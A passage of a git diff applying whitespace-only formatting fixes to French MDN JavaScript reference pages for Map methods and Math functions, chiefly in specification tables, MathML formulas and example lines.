valeur. - Il est possible d'obtenir facilement la taille d'une `Map` avec `size`. En revanche, pour un `Object` il faudra compter « manuellement ». diff --git a/files/fr/web/javascript/reference/global_objects/map/keys/index.md b/files/fr/web/javascript/reference/global_objects/map/keys/index.md index 94943f763b..0a84242f6a 100644 --- a/files/fr/web/javascript/reference/global_objects/map/keys/index.md +++ b/files/fr/web/javascript/reference/global_objects/map/keys/index.md @@ -47,7 +47,7 @@ console.log(mapIter.next().value); // Object | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------ | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-map.prototype.keys', 'Map.prototype.keys')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-map.prototype.keys', 'Map.prototype.keys')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-map.prototype.keys', 'Map.prototype.keys')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/map/set/index.md b/files/fr/web/javascript/reference/global_objects/map/set/index.md index b25fc7c250..941226ce96 100644 --- a/files/fr/web/javascript/reference/global_objects/map/set/index.md +++ b/files/fr/web/javascript/reference/global_objects/map/set/index.md @@ -64,7 +64,7 @@ maMap.set('truc', 'toto') | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-map.prototype.set', 'Map.prototype.set')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-map.prototype.set', 'Map.prototype.set')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-map.prototype.set', 'Map.prototype.set')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/map/size/index.md b/files/fr/web/javascript/reference/global_objects/map/size/index.md index 898542a176..777209defc 100644 --- a/files/fr/web/javascript/reference/global_objects/map/size/index.md +++ b/files/fr/web/javascript/reference/global_objects/map/size/index.md @@ -38,7 +38,7 @@ maMap.size // 3 | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-get-map.prototype.size', 'Map.prototype.size')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-get-map.prototype.size', 'Map.prototype.size')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-get-map.prototype.size', 'Map.prototype.size')}} | {{Spec2('ESDraft')}} | | ## Compatibliité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/map/values/index.md b/files/fr/web/javascript/reference/global_objects/map/values/index.md index 07c000c242..7e29792a2c 100644 --- a/files/fr/web/javascript/reference/global_objects/map/values/index.md +++ b/files/fr/web/javascript/reference/global_objects/map/values/index.md @@ -48,7 +48,7 @@ console.log(mapIter.next().value); // "licorne" | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-map.prototype.values', 'Map.prototype.values')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-map.prototype.values', 'Map.prototype.values')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-map.prototype.values', 'Map.prototype.values')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/math/abs/index.md b/files/fr/web/javascript/reference/global_objects/math/abs/index.md index 6a1a7d758d..168e36b168 100644 --- a/files/fr/web/javascript/reference/global_objects/math/abs/index.md +++ b/files/fr/web/javascript/reference/global_objects/math/abs/index.md @@ -58,9 +58,9 @@ Math.abs(); // NaN | Spécification | État | Commentaires | | -------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.0. | -| {{SpecName('ES5.1', '#sec-15.8.2.1', 'Math.abs')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-math.abs', 'Math.abs')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-math.abs', 'Math.abs')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.8.2.1', 'Math.abs')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-math.abs', 'Math.abs')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-math.abs', 'Math.abs')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/math/acos/index.md b/files/fr/web/javascript/reference/global_objects/math/acos/index.md index 2d120f115d..d8e762c169 100644 --- a/files/fr/web/javascript/reference/global_objects/math/acos/index.md +++ b/files/fr/web/javascript/reference/global_objects/math/acos/index.md @@ -13,7 +13,7 @@ original_slug: Web/JavaScript/Reference/Objets_globaux/Math/acos La fonction **`Math.acos()`** renvoie l'arc cosinus d'une valeur exprimée en radians. Cela est défini par : -<math><semantics><mrow><mo>∀</mo><mi>x</mi><mo>∊</mo><mo stretchy="false">[</mo><mrow><mo>-</mo><mn>1</mn></mrow><mo>;</mo><mn>1</mn><mo stretchy="false">]</mo><mo>,</mo><mspace width="thickmathspace"></mspace><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.acos</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mo lspace="0em" rspace="0em">arccos</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mtext> le seul </mtext><mi>y</mi><mo>∊</mo><mo stretchy="false">[</mo><mn>0</mn><mo>;</mo><mi>π</mi><mo stretchy="false">]</mo><mspace width="thinmathspace"></mspace><mtext>tel que</mtext><mspace width="thickmathspace"></mspace><mo lspace="0em" rspace="0em">cos</mo><mo stretchy="false">(</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\forall x \in [{-1};1],\;\mathtt{\operatorname{Math.acos}(x)} = \arccos(x) = \text{ the unique } \; y \in [0; \pi] \, \text{such that} \; \cos(y) = x</annotation></semantics></math> +<math><semantics><mrow><mo>∀</mo><mi>x</mi><mo>∊</mo><mo stretchy="false">[</mo><mrow><mo>-</mo><mn>1</mn></mrow><mo>;</mo><mn>1</mn><mo stretchy="false">]</mo><mo>,</mo><mspace width="thickmathspace"></mspace><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.acos</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mo lspace="0em" rspace="0em">arccos</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mtext> le seul </mtext><mi>y</mi><mo>∊</mo><mo stretchy="false">[</mo><mn>0</mn><mo>;</mo><mi>π</mi><mo stretchy="false">]</mo><mspace width="thinmathspace"></mspace><mtext>tel que</mtext><mspace width="thickmathspace"></mspace><mo lspace="0em" rspace="0em">cos</mo><mo stretchy="false">(</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\forall x \in [{-1};1],\;\mathtt{\operatorname{Math.acos}(x)} = \arccos(x) = \text{ the unique } \; y \in [0; \pi] \, \text{such that} \; \cos(y) = x</annotation></semantics></math> {{EmbedInteractiveExample("pages/js/math-acos.html")}} @@ -56,9 +56,9 @@ Pour les valeurs (strictement) inférieures à -1 ou supérieures à 1, `Math.ac | Spécification | Statut | Commentaires | | ------------------------------------------------------------------------ | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.0. | -| {{SpecName('ES5.1', '#sec-15.8.2.2', 'Math.acos')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-math.acos', 'Math.acos')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-math.acos', 'Math.acos')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.8.2.2', 'Math.acos')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-math.acos', 'Math.acos')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-math.acos', 'Math.acos')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/math/acosh/index.md b/files/fr/web/javascript/reference/global_objects/math/acosh/index.md index cb4ff0b1c1..5b80b720f4 100644 --- a/files/fr/web/javascript/reference/global_objects/math/acosh/index.md +++ b/files/fr/web/javascript/reference/global_objects/math/acosh/index.md @@ -64,7 +64,7 @@ function acosh(x) { | Spécification | État | Commentaires | | ---------------------------------------------------------------------------- | ---------------------------- | ------------------- | | {{SpecName('ES6', '#sec-math.acosh', 'Math.acosh')}} | {{Spec2('ES6')}} | Définition initiale | -| {{SpecName('ESDraft', '#sec-math.acosh', 'Math.acosh')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-math.acosh', 'Math.acosh')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/math/asin/index.md b/files/fr/web/javascript/reference/global_objects/math/asin/index.md index b7d502cfb9..71cbeb0beb 100644 --- a/files/fr/web/javascript/reference/global_objects/math/asin/index.md +++ b/files/fr/web/javascript/reference/global_objects/math/asin/index.md @@ -56,9 +56,9 @@ Pour les valeurs (strictement) inférieures à -1 ou supérieures à 1, `Math.as | Spécification | Statut | Commentaires | | ------------------------------------------------------------------------ | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.0. | -| {{SpecName('ES5.1', '#sec-15.8.2.3', 'Math.asin')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-math.asin', 'Math.asin')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-math.asin', 'Math.asin')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.8.2.3', 'Math.asin')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-math.asin', 'Math.asin')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-math.asin', 'Math.asin')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/math/asinh/index.md b/files/fr/web/javascript/reference/global_objects/math/asinh/index.md index 607a90d9f4..2c5f7d9ae8 100644 --- a/files/fr/web/javascript/reference/global_objects/math/asinh/index.md +++ b/files/fr/web/javascript/reference/global_objects/math/asinh/index.md @@ -53,7 +53,7 @@ Math.asinh = Math.asinh || function(x) { | Spécification | État | Commentaires | | ---------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES6', '#sec-math.asinh', 'Math.asinh')}} | {{Spec2('ES6')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-math.asinh', 'Math.asinh')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-math.asinh', 'Math.asinh')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/math/atan/index.md b/files/fr/web/javascript/reference/global_objects/math/atan/index.md index 3f9a23100f..10b8e3f580 100644 --- a/files/fr/web/javascript/reference/global_objects/math/atan/index.md +++ b/files/fr/web/javascript/reference/global_objects/math/atan/index.md @@ -58,9 +58,9 @@ Math.atan(y / x); | Spécification | État | Commentaires | | ------------------------------------------------------------------------ | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.0. | -| {{SpecName('ES5.1', '#sec-15.8.2.4', 'Math.atan')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-math.atan', 'Math.atan')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-math.atan', 'Math.atan')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.8.2.4', 'Math.atan')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-math.atan', 'Math.atan')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-math.atan', 'Math.atan')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/math/atanh/index.md b/files/fr/web/javascript/reference/global_objects/math/atanh/index.md index ce23e62351..0a0f59f908 100644 --- a/files/fr/web/javascript/reference/global_objects/math/atanh/index.md +++ b/files/fr/web/javascript/reference/global_objects/math/atanh/index.md @@ -14,7 +14,7 @@ original_slug: Web/JavaScript/Reference/Objets_globaux/Math/atanh La fonction **`Math.atanh()`** renvoie l'arc tangente hyperbolique d'un nombre : -<math><semantics><mrow><mo>∀</mo><mi>x</mi><mo>∊</mo><mrow><mo>(</mo><mrow><mo>-</mo><mn>1</mn><mo>,</mo><mn>1</mn></mrow><mo>)</mo></mrow><mo>,</mo><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.atanh</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mo lspace="0em" rspace="thinmathspace">arctanh</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mtext> le seul </mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mtext> tel que</mtext><mspace width="thickmathspace"></mspace><mo lspace="0em" rspace="0em">tanh</mo><mo stretchy="false">(</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\forall x \in \left( -1, 1 \right), \mathtt{\operatorname{Math.atanh}(x)} = \operatorname{arctanh}(x) = \text{ the unique } \; y \; \text{such that} \; \tanh(y) = x</annotation></semantics></math> +<math><semantics><mrow><mo>∀</mo><mi>x</mi><mo>∊</mo><mrow><mo>(</mo><mrow><mo>-</mo><mn>1</mn><mo>,</mo><mn>1</mn></mrow><mo>)</mo></mrow><mo>,</mo><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.atanh</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mo lspace="0em" rspace="thinmathspace">arctanh</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mtext> le seul </mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mtext> tel que</mtext><mspace width="thickmathspace"></mspace><mo lspace="0em" rspace="0em">tanh</mo><mo stretchy="false">(</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\forall x \in \left( -1, 1 \right), \mathtt{\operatorname{Math.atanh}(x)} = \operatorname{arctanh}(x) = \text{ the unique } \; y \; \text{such that} \; \tanh(y) = x</annotation></semantics></math> {{EmbedInteractiveExample("pages/js/math-atanh.html")}} @@ -48,7 +48,7 @@ Math.atanh(1); // Infinity Math.atanh(2); // NaN ``` -Pour les valeurs strictement inférieures à -1 ou strictement supérieures à 1, {{jsxref("NaN")}} sera renvoyé. +Pour les valeurs strictement inférieures à -1 ou strictement supérieures à 1, {{jsxref("NaN")}} sera renvoyé. ## Prothèse d'émulation (_polyfill_) @@ -65,7 +65,7 @@ Math.atanh = Math.atanh || function(x) { | Spécification | Statut | Commentaires | | ---------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES6', '#sec-math.atanh', 'Math.atanh')}} | {{Spec2('ES6')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-math.atanh', 'Math.atanh')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-math.atanh', 'Math.atanh')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/math/cbrt/index.md b/files/fr/web/javascript/reference/global_objects/math/cbrt/index.md index 8fe0f00c04..2ca11def51 100644 --- a/files/fr/web/javascript/reference/global_objects/math/cbrt/index.md +++ b/files/fr/web/javascript/reference/global_objects/math/cbrt/index.md @@ -49,7 +49,7 @@ Math.cbrt(0); // 0 Math.cbrt(1); // 1 Math.cbrt(Infinity); // Infinity Math.cbrt(null); // 0 -Math.cbrt(2); // 1.2599210498948732 +Math.cbrt(2); // 1.2599210498948732 ``` ## Spécifications diff --git a/files/fr/web/javascript/reference/global_objects/math/ceil/index.md b/files/fr/web/javascript/reference/global_objects/math/ceil/index.md index fced464d1b..74fd1e4c23 100644 --- a/files/fr/web/javascript/reference/global_objects/math/ceil/index.md +++ b/files/fr/web/javascript/reference/global_objects/math/ceil/index.md @@ -44,8 +44,8 @@ Voici un exemple d'utilisation de `Math.ceil()`. Math.ceil(.95); // 1 Math.ceil(4); // 4 Math.ceil(7.004); // 8 -Math.ceil(-0.95); // -0 -Math.ceil(-4); // -4 +Math.ceil(-0.95); // -0 +Math.ceil(-4); // -4 Math.ceil(-7.004); // -7 Math.ceil(null); // 0 ``` diff --git a/files/fr/web/javascript/reference/global_objects/math/clz32/index.md b/files/fr/web/javascript/reference/global_objects/math/clz32/index.md index 416bc22e28..29b54cfa40 100644 --- a/files/fr/web/javascript/reference/global_objects/math/clz32/index.md +++ b/files/fr/web/javascript/reference/global_objects/math/clz32/index.md @@ -13,7 +13,7 @@ original_slug: Web/JavaScript/Reference/Objets_globaux/Math/clz32 --- {{JSRef}} -La fonction **`Math.clz32()`** renvoie le nombre de zéros de tête dans la représentation binaire sur 32 bits d'un nombre. +La fonction **`Math.clz32()`** renvoie le nombre de zéros de tête dans la représentation binaire sur 32 bits d'un nombre. {{EmbedInteractiveExample("pages/js/math-clz32.html")}} @@ -32,13 +32,13 @@ Le nombre de bits à zéro en tête de la représentation binaire sur 32 bits du ## Description -"`clz32`" est un raccourci pour CountLeadingZeroes32 (en français, « compter les zéros de tête »). +"`clz32`" est un raccourci pour CountLeadingZeroes32 (en français, « compter les zéros de tête »). Si `x` n'est pas un nombre, il sera d'abord converti en nombre puis converti en un entier non signé sur 32 bits. Si l'entier non signé sur 32 bits résultant vaut `0`, la fonction renverra `32`, car tous les bits valent `0`. -Cette fonction est particulièrement utile aux systèmes qui compilent du code JavaScript, comme [Emscripten](/fr/docs/Emscripten). +Cette fonction est particulièrement utile aux systèmes qui compilent du code JavaScript, comme [Emscripten](/fr/docs/Emscripten). ## Exemples diff --git a/files/fr/web/javascript/reference/global_objects/math/cos/index.md b/files/fr/web/javascript/reference/global_objects/math/cos/index.md index 9b78bfd357..fe54893d54 100644 --- a/files/fr/web/javascript/reference/global_objects/math/cos/index.md +++ b/files/fr/web/javascript/reference/global_objects/math/cos/index.md @@ -51,9 +51,9 @@ Math.cos(2 * Math.PI); // 1 | Spécification | État | Commentaires | | -------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.0. | -| {{SpecName('ES5.1', '#sec-15.8.2.7', 'Math.cos')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-math.cos', 'Math.cos')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-math.cos', 'Math.cos')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.8.2.7', 'Math.cos')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-math.cos', 'Math.cos')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-math.cos', 'Math.cos')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/math/cosh/index.md b/files/fr/web/javascript/reference/global_objects/math/cosh/index.md index d0306213b6..4f50f9ad7a 100644 --- a/files/fr/web/javascript/reference/global_objects/math/cosh/index.md +++ b/files/fr/web/javascript/reference/global_objects/math/cosh/index.md @@ -72,7 +72,7 @@ Math.cosh = Math.cosh || function(x) { | Spécification | État | Commentaires | | ------------------------------------------------------------------------ | ---------------------------- | -------------------- | | {{SpecName('ES6', '#sec-math.cosh', 'Math.cosh')}} | {{Spec2('ES6')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-math.cosh', 'Math.cosh')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-math.cosh', 'Math.cosh')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/math/e/index.md b/files/fr/web/javascript/reference/global_objects/math/e/index.md index 540d7769eb..34d1219ba8 100644 --- a/files/fr/web/javascript/reference/global_objects/math/e/index.md +++ b/files/fr/web/javascript/reference/global_objects/math/e/index.md @@ -40,9 +40,9 @@ getNapier(); // 2.718281828459045 | Spécification | Statut | Commentaires | | ---------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.0. | -| {{SpecName('ES5.1', '#sec-15.8.1.1', 'Math.E')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-math.e', 'Math.E')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-math.e', 'Math.E')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.8.1.1', 'Math.E')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-math.e', 'Math.E')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-math.e', 'Math.E')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/math/exp/index.md b/files/fr/web/javascript/reference/global_objects/math/exp/index.md index e6be9fc5c3..25f8121332 100644 --- a/files/fr/web/javascript/reference/global_objects/math/exp/index.md +++ b/files/fr/web/javascript/reference/global_objects/math/exp/index.md @@ -30,7 +30,7 @@ L'exponentielle du nombre passé en argument (`e^x`). ## Description -`exp()` est une méthode statique de `Math`, elle doit toujours être utilisée avec la syntaxe `Math.exp()`, elle ne doit pas être utilisée avec un objet qui aurait été créé (`Math` n'est pas un constructeur). +`exp()` est une méthode statique de `Math`, elle doit toujours être utilisée avec la syntaxe `Math.exp()`, elle ne doit pas être utilisée avec un objet qui aurait été créé (`Math` n'est pas un constructeur). ## Exemples @@ -47,9 +47,9 @@ Math.exp(1); // 2.718281828459045 | Spécification | État | Commentaires | | -------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.0. | -| {{SpecName('ES5.1', '#sec-15.8.2.8', 'Math.exp')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-math.exp', 'Math.exp')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-math.exp', 'Math.exp')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.8.2.8', 'Math.exp')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-math.exp', 'Math.exp')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-math.exp', 'Math.exp')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/math/expm1/index.md b/files/fr/web/javascript/reference/global_objects/math/expm1/index.md index c2e5287fc2..cd50834f7d 100644 --- a/files/fr/web/javascript/reference/global_objects/math/expm1/index.md +++ b/files/fr/web/javascript/reference/global_objects/math/expm1/index.md @@ -59,7 +59,7 @@ Math.expm1 = Math.expm1 || function(x) { | Spécification | État | Commentaires | | ---------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES6', '#sec-math.expm1', 'Math.expm1')}} | {{Spec2('ES6')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-math.expm1', 'Math.expm1')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-math.expm1', 'Math.expm1')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/math/floor/index.md b/files/fr/web/javascript/reference/global_objects/math/floor/index.md index 65bc3d23fc..99d68bc66e 100644 --- a/files/fr/web/javascript/reference/global_objects/math/floor/index.md +++ b/files/fr/web/javascript/reference/global_objects/math/floor/index.md @@ -30,7 +30,7 @@ Un nombre qui représente le plus grand entier inférieur ou égal à la valeur ## Description -`floor()` est une méthode statique de l'objet `Math`, elle doit toujours être utilisée avec la syntaxe `Math.floor()`, elle ne doit pas être utilisée avec un autre objet qui aurait été créé (`Math` n'est pas un constructeur). +`floor()` est une méthode statique de l'objet `Math`, elle doit toujours être utilisée avec la syntaxe `Math.floor()`, elle ne doit pas être utilisée avec un autre objet qui aurait été créé (`Math` n'est pas un constructeur). > **Note :** `Math.floor(null)` renvoie `0` et pas {{jsxref("NaN")}}. diff --git a/files/fr/web/javascript/reference/global_objects/math/hypot/index.md b/files/fr/web/javascript/reference/global_objects/math/hypot/index.md index 977f6c4965..ae29a8b000 100644 --- a/files/fr/web/javascript/reference/global_objects/math/hypot/index.md +++ b/files/fr/web/javascript/reference/global_objects/math/hypot/index.md @@ -97,7 +97,7 @@ Math.hypot = function (x, y) { | Spécification | État | Commentaires | | ---------------------------------------------------------------------------- | ---------------------------- | ------------------- | | {{SpecName('ES2015', '#sec-math.hypot', 'Math.hypot')}} | {{Spec2('ES2015')}} | Définition initiale | -| {{SpecName('ESDraft', '#sec-math.hypot', 'Math.hypot')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-math.hypot', 'Math.hypot')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/math/imul/index.md b/files/fr/web/javascript/reference/global_objects/math/imul/index.md index 1ac54c7e56..86ef45ec0e 100644 --- a/files/fr/web/javascript/reference/global_objects/math/imul/index.md +++ b/files/fr/web/javascript/reference/global_objects/math/imul/index.md @@ -68,7 +68,7 @@ Math.imul = Math.imul || function(a, b) { | Spécification | État | Commentaires | | ------------------------------------------------------------------------ | ---------------------------- | ------------------- | | {{SpecName('ES6', '#sec-math.imul', 'Math.imul')}} | {{Spec2('ES6')}} | Définition initiale | -| {{SpecName('ESDraft', '#sec-math.imul', 'Math.imul')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-math.imul', 'Math.imul')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/math/ln10/index.md b/files/fr/web/javascript/reference/global_objects/math/ln10/index.md index 2dc07d7187..12f215b635 100644 --- a/files/fr/web/javascript/reference/global_objects/math/ln10/index.md +++ b/files/fr/web/javascript/reference/global_objects/math/ln10/index.md @@ -40,9 +40,9 @@ getNatLog10(); // 2.302585092994046 | Spécification | Statut | Commentaires | | ------------------------------------------------------------------------ | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.0. | -| {{SpecName('ES5.1', '#sec-15.8.1.2', 'Math.LN10')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-math.ln10', 'Math.LN10')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-math.ln10', 'Math.LN10')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.8.1.2', 'Math.LN10')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-math.ln10', 'Math.LN10')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-math.ln10', 'Math.LN10')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/math/ln2/index.md b/files/fr/web/javascript/reference/global_objects/math/ln2/index.md index 25019b09ca..1e5f314ee2 100644 --- a/files/fr/web/javascript/reference/global_objects/math/ln2/index.md +++ b/files/fr/web/javascript/reference/global_objects/math/ln2/index.md @@ -40,9 +40,9 @@ getLog2(256); // 8 | Spécification | Statut | Commentaires | | -------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.0. | -| {{SpecName('ES5.1', '#sec-15.8.1.3', 'Math.LN2')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-math.ln2', 'Math.LN2')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-math.ln2', 'Math.LN2')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.8.1.3', 'Math.LN2')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-math.ln2', 'Math.LN2')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-math.ln2', 'Math.LN2')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/math/log/index.md b/files/fr/web/javascript/reference/global_objects/math/log/index.md index 14c55bd91d..1870e47f9f 100644 --- a/files/fr/web/javascript/reference/global_objects/math/log/index.md +++ b/files/fr/web/javascript/reference/global_objects/math/log/index.md @@ -34,7 +34,7 @@ Le logarithme naturelle de la valeur passée en argument. Si cette valeur est n Si 